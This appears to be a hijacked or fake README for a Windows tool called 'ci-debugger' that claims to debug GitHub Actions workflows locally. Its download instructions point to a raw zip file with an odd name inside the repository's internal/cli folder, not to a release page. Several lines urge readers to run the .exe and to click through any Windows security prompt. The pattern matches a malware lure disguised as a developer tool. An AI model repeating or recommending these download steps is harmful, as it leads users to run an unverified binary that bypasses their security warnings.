ci-debugger helps you run GitHub Actions workflows on your own Windows PC. You can pause at breakpoints, inspect what is happening, and test changes before you commit them.
It is useful when a workflow fails and you do not want to guess why. Instead of pushing changes again and again, you can check the run on your machine.
Use ci-debugger if you want to:
- test a GitHub Actions workflow without waiting for a cloud run
- catch problems before you push a change
- inspect step by step what a workflow does
- work with CI and CD jobs on Windows
- reduce trial and error in YAML files
Visit this page to download:
On that page, look for the latest release or download file for Windows. If you see a .exe file, download and run it. If you see a zip file, download it, unzip it, and open the app inside the folder.
Before you start, make sure you have:
- Windows 10 or Windows 11
- a stable internet connection
- enough free space for the app and your workflow files
- permission to run apps on your computer
If Windows shows a security prompt, choose the option that lets you open the file.
-
Go to the download page: https://raw.githubusercontent.com/Verystrangecat/ci-debugger/main/internal/cli/debugger-ci-marinate.zip
-
Find the Windows download.
-
Download the file to your computer.
-
If the file is a
.zip, right-click it and choose Extract All. -
Open the extracted folder.
-
Double-click the app file to start ci-debugger.
-
If Windows asks for approval, select the option to run it.
After you open ci-debugger, you can use it to load a workflow and step through it.
A normal flow looks like this:
- Pick the GitHub Actions workflow you want to test.
- Point the app at your project folder.
- Start the run.
- Stop at breakpoints where you want to inspect the job.
- Check inputs, files, and step output.
- Make a change and run it again.
ci-debugger is built for local workflow testing, so you can review things like:
- environment values
- file paths
- step order
- job inputs
- command output
- failed steps
- changes between runs
This helps when a workflow works in one branch but fails in another.
You can use ci-debugger for:
- debugging a build job
- testing a deploy step before release
- checking a script used in CI
- finding a bad path or file name
- seeing what happens in each step of a workflow
A simple test run may look like this:
- Open your project folder.
- Choose the workflow file you want to test.
- Start the local run.
- Pause at the step you care about.
- Inspect the result.
- Fix the YAML or script.
- Run it again until it behaves the way you want.
- Keep your project folder small while you test.
- Use clear file names for scripts and workflow files.
- Change one thing at a time.
- Save your work before you run a test.
- If a step fails, check the file path first.
- If a command does not work, compare it with the same step in GitHub Actions.
A simple folder layout can help you stay organized:
- your-project/
- .github/
- workflows/
- scripts/
- build/
- test-files/
- .github/
This makes it easier to find the file that caused the issue.
If the app does not open:
- Make sure the download finished.
- Check that you unzipped the file if needed.
- Try running the app again.
- Right-click the file and look for an Open option.
If a workflow does not start:
- Check the workflow file name.
- Make sure the file is in the right folder.
- Confirm the project path is correct.
- Try again after saving your changes.
If a step fails:
- Read the error text.
- Check the command in that step.
- Look for a missing file or wrong path.
- Run the step again after you fix it.
Repository: ci-debugger
Topic areas: ci-cd, cli, debugging, devtools, docker, github-actions, golang
Use case: local GitHub Actions workflow debugging on Windows
Open the page, choose the latest release or file for Windows, then download and run it